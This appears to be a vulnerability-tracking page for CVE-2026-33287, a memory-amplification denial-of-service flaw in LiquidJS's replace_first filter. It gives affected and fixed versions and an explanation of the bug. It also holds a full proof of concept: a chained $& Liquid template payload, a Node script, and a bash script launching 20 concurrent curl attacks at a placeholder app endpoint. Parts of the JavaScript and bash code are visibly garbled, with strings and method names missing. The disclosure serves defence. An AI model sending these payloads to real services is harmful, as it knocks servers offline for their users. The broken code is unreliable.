Live › vulnerability › CVE-2026-33287
LiquidJS's replace_first filter passes the replacement string to JavaScript's native replace(), so a $& pattern expands the output far beyond the memory limit the engine counts. An attacker who can submit a template can chain stages to allocate hundreds of megabytes per request and stall the server.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-29 17:30 UTC, 0h before NVD. All times on this page are UTC.
Applications that pass user-written Liquid templates to LiquidJS and render them with the replace_first filter are exposed. Applications that only render their own fixed templates, or that never use replace_first, are not exposed to this flaw. The sources say the flaw is a denial-of-service through memory use, not code execution.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| liquidjs | npm | < 10.25.1 | 10.25.1 |
| liquidjs | vendor | < 10.25.1 | 10.25.1 |
npm ls liquidjs.replace_first in code that renders user-supplied Liquid templates.liquidjs to 10.25.1 or later (affected below 10.25.1).Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
The replace_first filter in LiquidJS uses JavaScript's String.prototype.replace() which interprets $& as a backreference to the matched substring. The filter only charges memoryLimit for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the memoryLimit budget, leading to denial of service.
The replace_first filter in src/builtin/filters/string.ts:130-133 delegates to JavaScript's native String.prototype.replace(). This native method interprets special replacement patterns including $& (insert the matched substring), $' (insert the portion after the match), and $` (insert the portion before the match).
The filter calls memoryLimit.use(str.length) to account for the input string's memory cost, but the output string — potentially many times larger due to $& expansion — is never charged against the memory limit.
An attacker can build a 1MB string (within memoryLimit budget), then use replace_first with a replacement string containing 50 repetitions of $&. Each $& expands to the full matched string (1MB), producing a 50MB output that is not charged to the memory counter.
By chaining this technique across multiple variable assignments, exponential amplification is achieved:
| Stage | Input Size | $& Repetitions | Output Size | Cumulative memoryLimit Charge |
|---|---|---|---|---|
| 1 | 1 byte | 50 | 50 bytes | ~1 byte |
| 2 | 50 bytes | 50 | 2,500 bytes | ~51 bytes |
| 3 | 2,500 bytes | 50 | 125 KB | ~2.6 KB |
| 4 | 125 KB | 50 | 6.25 MB | ~128 KB |
| 5 | 6.25 MB | 50 | 312.5 MB | ~6.38 MB |
Total amplification factor: ~625,000:1 (312.5 MB output vs. ~6.38 MB charged to memoryLimit).
Notably, the sibling replace filter uses str.split(pattern).join(replacement), which treats $& as a literal string and is therefore not vulnerable. The replace_last filter uses manual substring operations and is also safe. Only replace_first is affected.
// src/builtin/filters/string.ts:130-133 — VULNERABLE
export function replace_first (v: string, arg1: string, arg2: string) {
const str = stringify(v)
this.context.memoryLimit.use(str.length) // Only charges input
return str.replace(stringify(arg1), arg2) // $& expansion uncharged!
}
// src/builtin/filters/string.ts:125-129 — SAFE (for comparison)
export function replace (v: string, arg1: string, arg2: string) {
const str = stringify(v)
this.context.memoryLimit.use(str.length)
return str.split(stringify(arg1)).join(arg2) // split/join: $& treated as literal
}
Prerequisites:
npm install [email protected]Save the following as poc_replace_first_amplification.js and run with node poc_replace_first_amplification.js:
const { Liquid } = require('liquidjs');
(async () => {
const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit
// Step 1 — Verify $& expansion in replace_first
console.log('=== Step 1: $& expansion in replace_first ===');
const step1 = '{{ "HELLO" | replace_first: "HELLO", "$&-$&-$&" }}';
console.log('Result:', await engine.parseAndRender(step1));
// Output: "HELLO-HELLO-HELLO" — $& expanded to matched string
// Step 2 — Verify replace (split/join) is safe
console.log('\n=== Step 2: replace is safe ===');
const step2 = '{{ "ABCDE" | replace: "ABCDE", "$&$&$&" }}';
console.log('Result:', await engine.parseAndRender(step2));
// Output: "$&$&$&" — $& treated as literal
// Step 3 — 5-stage exponential amplification (50x per stage)
console.log('\n=== Step 3: Exponential amplification (625,000:1) ===');
const amp50 = '$&'.repeat();
step3 = [
,
+ amp50 + ,
+ amp50 + ,
+ amp50 + ,
+ amp50 + ,
+ amp50 + ,
].();
startMem = process.().;
result = engine.(step3);
endMem = process.().;
.(, result.(), );
.(, ((endMem - startMem) / ).(), );
.();
.();
})();
Expected output:
=== Step 1: $& expansion in replace_first ===
Result: HELLO-HELLO-HELLO
=== Step 2: replace is safe ===
Result: $&$&$&
=== Step 3: Exponential amplification (625,000:1) ===
Output string size: 312500000 bytes
Heap increase: ~625.0 MB
Amplification: ~625,000:1 (1 byte input → 312.5 MB output)
memoryLimit charged: < 7 MB (only input lengths counted)
The memoryLimit of 100MB is completely bypassed — 312.5 MB is allocated while only ~6.38 MB is charged to the memory counter.
After confirming the single-request PoC, launch 20 concurrent attacks + legitimate user requests to measure actual service disruption.
Raw Liquid template payload sent by attacker:
{% assign s = "A" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{{ s }}
$&is a JavaScriptString.prototype.replace()backreference pattern that inserts the entire matched string. Each stage amplifies 50x → 5 stages = 50^5 = 312,500,000 characters (~312.5MB).{{ s }}forces the full output into the HTTP response, keeping memory allocated during transfer and blocking the Node.js event loop.
#!/bin/bash
# DoS demonstration: 20 concurrent attacks + legitimate user latency measurement
DOLLAR='$&'
REP50=$(printf "${DOLLAR}%.0s" {1..50})
PAYLOAD="{% assign s = \"A\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{{ s }}"
echo "=== Advisory 2 DoS: 20 concurrent + normal user ==="
# 20 DoS attack requests (per-request timing)
for i in $(seq 1 20); do
(
t1=$(date +%s%3N)
curl -s -o /dev/null --max-time 120 -X POST "http://<app>/newsletter/preview" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "template=$PAYLOAD"
t2=$(date +%s%3N)
echo "DoS[$i]: $(( t2 - t1 ))ms"
) &
done
# Legitimate user requests at 0s, 3s, 6s
(
t1=$(date +%s%3N)
curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "template=<h1>Hello</h1>"
t2=$(date +%s%3N)
echo "Normal[0s]: $(( t2 - t1 ))ms"
) &
(
3
t1=$( +%s%3N)
curl -s -o /dev/null --max-time 60 -X POST \
-H \
--data-urlencode
t2=$( +%s%3N)
) &
(
6
t1=$( +%s%3N)
curl -s -o /dev/null --max-time 60 -X POST \
-H \
--data-urlencode
t2=$( +%s%3N)
) &
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